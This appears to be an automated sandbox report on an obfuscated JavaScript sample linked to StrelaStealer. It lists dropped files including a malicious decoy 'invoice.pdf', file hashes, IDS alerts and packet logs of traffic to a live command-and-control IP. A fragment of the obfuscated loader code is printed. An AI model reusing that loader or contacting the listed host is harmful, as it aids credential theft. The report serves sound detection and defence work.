Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\61fb9a6d-3406-46c3-8e33-f3d2de75b934.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\8aa26bf5-16ab-4aa8-9b2e-2ee437fb76ca.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLaGZDwYIGNPJodpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLaGZDwZGk3mlind9i4ufFXpAXkru
MD5:	18E3D04537AF72FDBEB3760B2D10C80E
SHA1:	B313CD0B25E41E5CF0DFB83B33AB3E3C7678D5CC
SHA-256:	BBEF113A2057EE7EAC911DC960D36D4A62C262DAE5B1379257908228243BD6F4
SHA-512:	2A5B9B0A5DC98151AD2346055DF2F7BFDE62F6069A4A6A9AB3377B644D61AE31609B9FC73BEE4A0E929F84BF30DA4C1CDE628915AC37C7542FD170D12DE41298
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (10365), with no line terminators
Entropy (8bit):	4.981001473567443
TrID:
File name:	4208093227073.js
File size:	10'365 bytes
MD5:	ab6c49aba711358cb517c6c8c8dd3e12
SHA1:	a75d8c3ed73611aa6457240ebda57415363b8fb6
SHA256:	a7114d1f4e8d133c9d2375da00d0bfeeb69e6df576feeafc4f12d331adaa9cc0
SHA512:	bb4b4fe155a8e80cc8784e481d6820600d7193ac584d7cfc4a0b074c47e33d02356aeef68a691c282f713b99e8ada90e67c63e4a1b1bec1f71c0832320bb72af
SSDEEP:	96:5SeY5I45YYiiMTs0UXVbD9glwrK6rfJvMTYk+2YgaCIqZptSJ+0idPXwT6Sj:565pYrnSX6w15itSJ+0idPXw2Sj
TLSH:	9B228587FE3A608B4CE0B1F5A8C48AA7A4FF56BEA1445376D4F7E18405EC478E5D1838
File Content Preview:	function bjlxbtr(){this[zzcwiqyf+wylyapa+hgysx+lanpspy]("pwjli=[1031,3079,5127,4103,2055,3072];var jcvjhjh=this[igazsv+hgysx+zrvyg+nuwizjo+zzcwiqyf+kguzhdadq+wfzqoz+jceysrs](this[qefcpy+hqivfp+wnylweqwl+zrvyg+ohdbt+igazsv+jceysrs][uqforqf+zrvyg+zzcwiqyf+h

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-13T12:47:04.407199+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.4	49730	193.143.1.205	80	TCP
2025-01-13T12:47:04.407199+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.4	49730	193.143.1.205	80	TCP
2025-01-13T12:47:06.836074+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.4	49731	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 13, 2025 12:47:03.577292919 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:03.582382917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:03.582474947 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:03.585490942 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:03.590322971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.407124996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.407143116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.407152891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.407164097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.407175064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.407185078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.407196045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.407198906 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.407207966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.407227039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.407238960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.407285929 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.407319069 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.470208883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.470221996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.470233917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.470278978 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.523428917 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.528714895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.528736115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.528744936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.528757095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.528768063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.528826952 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.528872013 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.529141903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.529155970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.529186010 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.529426098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.529437065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.529445887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.529455900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.529468060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.529475927 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.529520035 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.530229092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.530246973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.530257940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.530267954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.530278921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.530297995 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.530334949 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.531054974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.531073093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.531105042 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.557493925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.557569027 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.591603041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.591645002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.591701031 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.591701031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.591736078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.591769934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.591809034 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.632843971 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.633431911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.633466005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.633781910 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.649560928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.649576902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.649588108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.649626970 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.649656057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.649666071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.649707079 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.649847984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.649858952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.649868965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.649879932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.649897099 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.649924994 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.650379896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.650391102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.650401115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.650410891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.650422096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.650432110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.650434017 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.650443077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.650460958 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.650490999 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.651168108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.651180029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.651189089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.651202917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.651218891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.651228905 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.651231050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.651241064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.651253939 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.651288033 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.652204990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.652215004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.652225018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.652235985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.652245998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.652256012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.652261972 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.652267933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.652297020 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.652338028 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.653043032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.653053045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.653059006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.653103113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.653105974 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.653114080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.653124094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.653135061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.653141975 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.653187990 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.653944969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.653994083 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.678777933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.678812027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.678860903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.678894997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.678945065 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.678996086 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.713044882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.713062048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.713072062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.713078022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.713088989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.713123083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.713134050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.713268042 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.713268042 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.737005949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.737020016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.737030029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.737181902 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.770629883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.770642996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.770709991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.770720005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.770730019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.770740986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.770847082 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.770848036 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.771073103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.771089077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.771099091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.771109104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.771120071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.771169901 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.771303892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.771326065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.771337986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.771348000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.771356106 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.771395922 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.771564960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.771596909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.771614075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.771614075 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.771625042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.771634102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.771652937 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.771714926 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.771960974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.772058010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.772068024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.772078037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.772088051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.772098064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.772104979 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.772108078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.772119045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.772130013 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.772172928 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.772655010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.772665024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.772674084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.772684097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.772692919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.772700071 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.772702932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.772712946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.772722006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.772723913 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.772732019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.772751093 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.772802114 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.773420095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.773431063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.773441076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.773451090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.773459911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.773468018 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.773468971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.773488045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.773497105 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.773497105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.773508072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.773519039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.773525953 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.773529053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.773540020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.773564100 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.773591042 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.774394989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.774405956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.774415970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.774425983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.774436951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.774446011 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 12:47:04.774446964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.774457932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.774466991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.774477005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 12:47:04.774481058 CET	49730	80	192.168.2.4	193.143.1.205
